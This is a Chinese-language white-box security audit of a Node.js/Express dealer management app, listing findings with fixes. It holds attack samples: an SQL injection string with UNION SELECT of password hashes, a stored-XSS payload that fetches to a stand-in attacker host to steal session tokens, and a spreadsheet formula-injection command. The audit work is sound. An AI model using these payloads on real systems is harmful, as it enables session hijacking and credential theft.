Volvo DMS 資安評估報告

日期：2026-04-24 範圍：`volvo-upload-test`（Node.js / Express + PostgreSQL，部署於 Zeabur） 評估方式：白箱 code review（不對 live 發動真實攻擊） Branch 狀態：`claude/remove-security-patches-ZPPMP`（= production 當前部署版本）

摘要

嚴重度	數量	代表範例
CRITICAL	5	SQL injection、Stored XSS、無 CSRF、xlsx CVE、Token 存 localStorage
HIGH	7	無安全標頭、無 rate limit、無帳號鎖定、檔案上傳無 magic bytes
MEDIUM	8	Session 無閒置逾時、pbkdf2 100k 弱、錯誤訊息洩漏、PG SSL 寬鬆
LOW	6	Dockerfile 用 root、無 .gitignore、formula injection
INFO	3	無 dependency scan、無 CI 檢查

整體風險評級：🔴 HIGH RISK — 多處 CRITICAL 漏洞可直接造成資料外洩 / 帳號盜用 / 任意 SQL 執行。建議 48 小時內修補 CRITICAL 項目，7 天內修補 HIGH 項目。

CRITICAL 發現（需立即修補）

C1. SQL Injection via `guard.branch` 字串內插

- 檔案：`routes/auditLogs.js:94, 115-116, 128, 135, 143, 154, 163`
- POC：

```
// auditLogs.js:94
${guard.role === 'branch_admin' ? `AND user_branch = '${guard.branch}'` : ''}
```

- 攻擊路徑：super_admin 帳號被接管（或 insider）→ 將某 branch_admin 的 `users.branch` 欄位改為 `AMA' OR '1'='1' --` → 該使用者查稽核記錄時注入生效，繞過 branch 隔離讀到全部資料，或進一步 `UNION SELECT password_hash FROM users` 洩密碼 hash
- 衝擊：所有歷史稽核、跨廠別資料、使用者 credentials
- 修補：改用 `$N` 參數綁定，如 `conds.push('user_branch = $' + (idx++));` `params.push(guard.branch);`

C2. Stored XSS — 主要報表頁面

- 檔案：
  - `public/stats.html:1334, 1536, 1560` — `${r.service_advisor}` / `${r.part_name}` / `${r.branch}` 直接塞 innerHTML
  - `public/bonus.html` — 112 處 innerHTML，絕大多數未過 `_h()` escape
  - `public/query.html` / `public/performance.html` — 多處類似
- POC：上傳 Excel 使用者欄位含 `<img src=x onerror="fetch('https://attacker.com/steal?token='+localStorage.dms_token)">`，受害者開啟對應報表即執行
- 衝擊：localStorage 的 `dms_token` 被 exfil → 攻擊者拿到 session → 任意操作
- 修補：全站 `${...}` 塞 innerHTML 的地方改走 `_h()` helper；或改用 `textContent` 而非 innerHTML

C3. 無 CSRF 保護

- 檔案：`index.js`（未掛任何 CSRF middleware）
- POC：受害者登入 DMS 後造訪惡意網站 → 該網站用 form 或 fetch（credentials: 'include'）向 `POST /api/users` / `DELETE /api/audit-logs/cleanup` 發請求 → 雖然 Bearer token 在 localStorage 不會自動帶，但若系統支援 cookie-based session（部分路徑）則完全失守
- 衝擊：任意狀態變更、使用者建立、資料刪除
- 修補：雙重提交 cookie（double-submit cookie）模式，或 CSRF token middleware

C4. `xlsx@0.18.5` 已知 CVE

- 檔案：`volvo-upload-test/package.json:14`
- CVE-2023-30533（Prototype Pollution via maliciously crafted workbook）
- CVE-2024-22363（ReDoS via regex on maliciously crafted sheet name）
- 攻擊路徑：有 upload 權限者上傳特製 xlsx → Node 端 XLSX.read() → prototype pollution 影響 runtime 行為 / ReDoS 癱瘓服務
- 修補：升級到 `@e965/xlsx@^0.20.3`（CVE-patched fork），或 `xlsx@^0.20.x` 新版

C5. Token 存 localStorage（XSS 可竊取）

- 檔案：`public/auth.js`、`routes/users.js` 登入 response
- 問題：`dms_token` 存於 `localStorage`，任何 JS（含 XSS 注入的 script）皆可讀取
- 衝擊：與 C2 複合效應 — 任一處 XSS 即可竊取 token → session hijack
- 修補：Token 改為 HttpOnly + Secure + SameSite=Strict cookie，localStorage 改成單純 feature flag cache

---

HIGH 發現（7 天內修補）

H1. 無安全標頭（CSP / HSTS / X-Frame-Options）

- 檔案：`index.js`（無 helmet 或任何 header middleware）
- 缺失項目：
  - `Content-Security-Policy` — 無法緩解 XSS，`<script>` 和 inline handler 都放行
  - `Strict-Transport-Security` — 首次訪問 MITM 可降級到 HTTP
  - `X-Frame-Options: DENY` — 可被 iframe 嵌入 → clickjacking
  - `X-Content-Type-Options: nosniff` — 瀏覽器 MIME sniffing 風險
  - `Referrer-Policy` — URL 可能帶參數外洩到外部站
- 修補：`npm i helmet` 並 `app.use(helmet(...))`

H2. 無登入頻率限制 → 暴力破解

- 檔案：`routes/users.js:69`（POST /users/login）
- 攻擊路徑：以常見密碼字典對公開 URL `https://volvo-upload-test.zeabur.app/api/users/login` 無限 POST，pbkdf2 100k 的驗證速度足以被嘗試
- 修補：`express-rate-limit`，IP 15 分內最多 10 次 + 以 username 計 5 次

H3. 無帳號鎖定機制

- 檔案：`routes/users.js`（login 邏輯無 failed_attempts / locked_until 欄位處理）
- 問題：即使有 rate limit，只擋 IP；使用 botnet 多 IP 或慢速攻擊（每 IP 1 次 / 小時）仍可持續嘗試
- 修補：users 表加 `failed_attempts` / `locked_until`，連 3 錯鎖 15 分，再 3 錯永久鎖（需管理員解）

H4. 檔案上傳無 magic bytes 驗證

- 檔案：`routes/upload.js`，`routes/bodyshopBonus.js`，`routes/uploadApproval.js`
- 問題：multer 只認副檔名，無檔頭驗證。`.xlsx` 可偽造為任意 zip 或 HTML，被 `XLSX.read()` 吃進去可能觸發 CVE 或意外行為
- 修補：讀前 4 bytes 驗 `PK\x03\x04`（xlsx）/ `D0CF11E0`（xls）

H5. Session 不隨權限變更失效

- 檔案：`routes/users.js`（改 role / branch / is_active / 權限時未 revokeAllSessions）
- 問題：super_admin 降級一位 admin 為 user 後，該 admin 舊 token 仍有 admin 權限直到 8 小時自然過期
- 修補：role / permissions 變更時 `DELETE FROM user_sessions WHERE user_id = $1`

H6. 錯誤訊息洩漏 pg schema / stack

- 檔案：`index.js:89-96`（全域錯誤處理）+ 各 route 的 `res.status(500).json({ error: e.message })`
- 問題：`e.message` 常含 PostgreSQL error like `duplicate key value violates unique constraint "users_username_key"` → 表名 / 欄位名 / 索引名全部外洩
- 修補：client 只回 generic message，完整 error 寫 server log（目前全域 handler 有做，但個別 route 還是把 `e.message` 直接回給 client）

H7. upload loopback 使用 Host header

- 檔案：`routes/uploadApproval.js`（super-approve 執行 replay 時從 req 組 URL）
- 問題：若使用 `callerReq.headers.host` 組 loopback URL → Host header injection 可把內部 auth header 送到外部
- 修補：loopback 寫死 `http://127.0.0.1:${PORT}`

MEDIUM 發現（30 天內修補）

M1. Session 8 小時絕對時長，無閒置逾時

- 檔案：`routes/users.js:85`（expires_at = Date.now() + 8h）
- 修補：8h 絕對 + 30 分閒置；每次 API 請求更新 `last_seen`，超過 30 分視為閒置失效

M2. pbkdf2 迭代次數偏低

- 檔案：`routes/users.js:40-55`
- 問題：預設 100000 iter；OWASP 2023 建議 ≥ 600000。目前 `verifyPassword` 雖相容 600k，但新建密碼仍寫 100k
- 修補：`hashPassword` default `iterations=600000`；登入成功後若 DB 是 100k，rehash 升 600k（migration）

M3. 密碼最短 6 字元（弱）

- 檔案：`routes/users.js`（建立使用者 / 改密碼處的 length check）
- 修補：min length 10，建議加複雜度檢查（數字+字母）

M4. 無 `trust proxy` 設定 → IP 偽造污染稽核

- 檔案：`index.js`、`lib/auditLogger.js`
- 問題：若用 `req.headers['x-forwarded-for']` 抓 IP，攻擊者可偽造 header 往 log 塞假 IP；若用 `req.ip` 但沒設 `trust proxy`，在 Zeabur 後方反而拿到 proxy IP（全部使用者同 IP）
- 修補：`app.set('trust proxy', 'loopback,linklocal,uniquelocal')`；稽核一律 `req.ip`

M5. PG 連線 SSL 設定寬鬆

- 檔案：`db/pool.js`
- 問題：`POSTGRES_SSL=require` 用 `{ rejectUnauthorized: false }`，接受任意憑證 → DB 連線可被 MITM（若走公網）
- 修補：production 強制 `POSTGRES_SSL=strict`（verify full chain）；目前預設 `false` 連 TLS 都沒開

M6. 稽核寫入失敗時吞錯誤

- 檔案：`lib/auditLogger.js`
- 問題：`.catch(()=>{})` 使 DB 寫入失敗時靜默吞掉，無法偵測稽核被破壞
- 修補：改 `console.warn`，並加告警偵測器

M7. 無稽核日誌防竄改機制

- 檔案：`routes/auditLogs.js`（super_admin 可直接 `DELETE FROM audit_logs`）
- 問題：無 hash chain / tamper-evident storage，super_admin 可抹除自己的操作紀錄
- 修補：hash-chain checkpoint（每月 SHA-256 上月 log 摘要）；或改 append-only DB 角色，DELETE 需雙人審核

M8. 個資 XSS 漏洞（display_name / username）

- 檔案：`public/auth.js`（badge / userMenu / profile modal 顯示使用者資訊）
- 問題：admin 改別人 display_name 為 `<script>...` → 受害者載入頁面觸發 XSS
- 修補：全部 display_name / username 顯示處走 `_h()` / `esc()` 包裝

LOW 發現

L1. Dockerfile 以 root 跑 container

- 檔案：`volvo-upload-test/Dockerfile`（無 `USER` 指令）
- 修補：`RUN addgroup -g 1000 node 2>/dev/null || true; USER node`

L2. 無 `.gitignore` / `.dockerignore`

- 問題：`.env` / `node_modules` / `.git` 可能意外進 commit 或 Docker image
- 修補：建 `.gitignore`（含 `.env*`，`node_modules/`，`*.log`，`dist/`）+ `.dockerignore`

L3. Excel 匯出無 formula injection 防護

- 檔案：`public/query.html`、`public/stats.html`、`public/settings.html`（export 函式）
- 問題：cell 值開頭 `=` / `+` / `-` / `@` 不中和，攻擊者上傳 Excel 含 `=cmd|'/c calc'!A1` → 後續匯出 / 被他人下載開啟時執行

- 修補：匯出前一律 `if (/^[=+\-@\t\r]/.test(s)) s = "'" + s;`

L4. 客戶端 inline event handler

- 檔案：多數 HTML 有大量 `onclick="..."` inline
- 問題：與 CSP `unsafe-inline` 綁定，導致 CSP 無法有效阻擋 XSS
- 修補：逐步改用 `addEventListener`

L5. SQL 識別名動態拼接（隱性 allowlist）

- 檔案：`routes/bonus.js`、`routes/personTargets.js`、`routes/stats.js`
- 問題：`${fld}` / `${statExpr}` 從 ternary 選定，使用者輸入即使惡意也只會落到 default 分支。屬隱性 allowlist，安全但脆弱
- 修補：改為顯式 `VALID_FIELDS.has(input)` 檢查，新人增加分支時不會意外引入 SQL injection

L6. 無 API request body 長度限制

- 檔案：`index.js:40`（`express.json({ limit: '20mb' })`）
- 問題：20 MB 偏高，非檔案上傳 endpoint 可被惡意 POST 大 JSON 耗資源
- 修補：非 upload 路由改 `1mb`，upload 路由單獨 multer limit

傳輸層 / 流量側錄分析

T1. 瀏覽器 → Zeabur 邊界

- 狀況：✅ HTTPS（Zeabur 在邊界做 TLS termination，憑證自動管理）
- 風險：⚠️ 無 HSTS header → 首次訪問仍可被 downgrade MITM（攻擊者假冒 HTTP 版網站）
- 流量側錄：純 HTTPS 下無法側錄，但若使用者打錯網址沒 `https://` 前綴 → 第一次 request 明文，可被竊取
- 修補：加 HSTS `max-age=15552000; includeSubDomains`（一年）

T2. Zeabur 邊界 → app container

- 狀況：⚠️ 明文 HTTP（Zeabur 內部網路）
- 風險：Zeabur 內部網路屬多租戶容器環境，同主機其他容器理論上無法竊聽（namespace 隔離），但設定錯誤或 sidecar 注入仍有風險
- 流量側錄：依賴 Zeabur 內網隔離保證；無法自主加固
- 修補：Zeabur 不支援邊界到 container 的 TLS；只能接受此風險（主流 PaaS 都這樣）

T3. app → PostgreSQL

- 狀況：🔴 明文連線（`POSTGRES_SSL=false`）

- 風險：
  - 內部連線（`10.100.x.x:5432`）：Zeabur 內部網路，同上（容器隔離保護）
  - 外部連線（`tpe1.clusters.zeabur.com:25303`）：公網明文傳輸 ← 高風險，所有 SQL 查詢、密碼 hash、使用者資料都明文飛過網際網路
- 流量側錄：
  - 若 app 用外部 endpoint → 任何 ISP / 路由節點 / WiFi AP 都可 tcpdump 抓到 `SELECT * FROM users`，`INSERT INTO audit_logs`，`password_hash='...'` 等所有內容
  - 本次稽核期間發現 chat 曾貼出外部 connection string，此憑證應視同洩漏
- 修補：
  1. 立即 rotate PG root 密碼
  2. app → PG 改用內部 hostname（不走公網）
  3. 進一步設 `POSTGRES_SSL=strict` + verify chain

T4. Cookie / Token 傳輸

- 狀況：
  - Token 走 `Authorization: Bearer` header（非 cookie）
  - 透過 HTTPS 傳輸 → in-flight 加密
- 風險：localStorage 儲存使 XSS 可竊取（見 C2、C5）；離開 HTTPS 環境（MITM downgrade）則 header 明文
- 修補：改 HttpOnly cookie（瀏覽器不讓 JS 讀）+ Secure flag（禁 HTTP 傳輸）+ SameSite=Strict（防 CSRF）

T5. 登入 POST body 傳輸

- 狀況：密碼明文在 POST body 內，走 HTTPS 加密
- 風險：⚠️ 前端未做任何 hash/加密，依賴 HTTPS 保護；若 server side 有 log 中間件把 request body 記下來（目前無）或 HTTPS 被 MITM → 明文密碼外洩
- 補充：此設計業界標準，密碼不在 client hash；重點在 HTTPS 不可降級（見 T1 HSTS）

依賴套件 CVE 掃描

套件	版本	CVE	嚴重度
xlsx	^0.18.5	CVE-2023-30533, CVE-2024-22363	CRITICAL
multer	^1.4.5-lts.1	—	OK
pg	^8.13.0	—	OK
express	^4.21.0	—	OK

建議加 `npm audit` 進 CI pipeline 做每次 push 自動掃描。

修補優先順序建議

P0（48 小時內）

1. C1 SQL injection — 改參數綁定
2. C4 xlsx CVE — 升級套件
3. PG root 密碼輪替（洩漏於本次調查對話中）
4. app → PG 確認走內部 hostname（不用公網 endpoint）

P1（7 天內）

5. C2 Stored XSS — 全站 `_h()` 覆蓋
6. C3 CSRF — double-submit cookie
7. C5 Token → HttpOnly cookie
8. H1 Helmet 安全標頭
9. H2 登入 rate limit
10. H3 帳號鎖定

P2（30 天內）

11. H4-H7 剩餘 HIGH
12. M1-M8 MEDIUM

P3（規劃）

13. 加 CI security scan (npm audit / trivy / semgrep)
14. 稽核 log hash-chain 防竄改
15. L1-L6 清理

附錄

稽核方法

- 白箱 code review：逐檔 `grep` 搜尋注入點、innerHTML、邏輯缺陷
- 未執行：實際 HTTP 攻擊、fuzzing、DoS、social engineering
- 建議後續：於 staging 環境跑 dynamic scan（OWASP ZAP / Burp Suite），並排程季度外部滲透測試

本評估不涵蓋

- Zeabur 平台本身的安全性（PaaS 供應商責任）
- DDoS / volumetric attack 防護（建議搭配 Cloudflare）
- 實體安全 / 辦公室網路
- 使用者端裝置安全（員工筆電中毒等）
- 社交工程 / 釣魚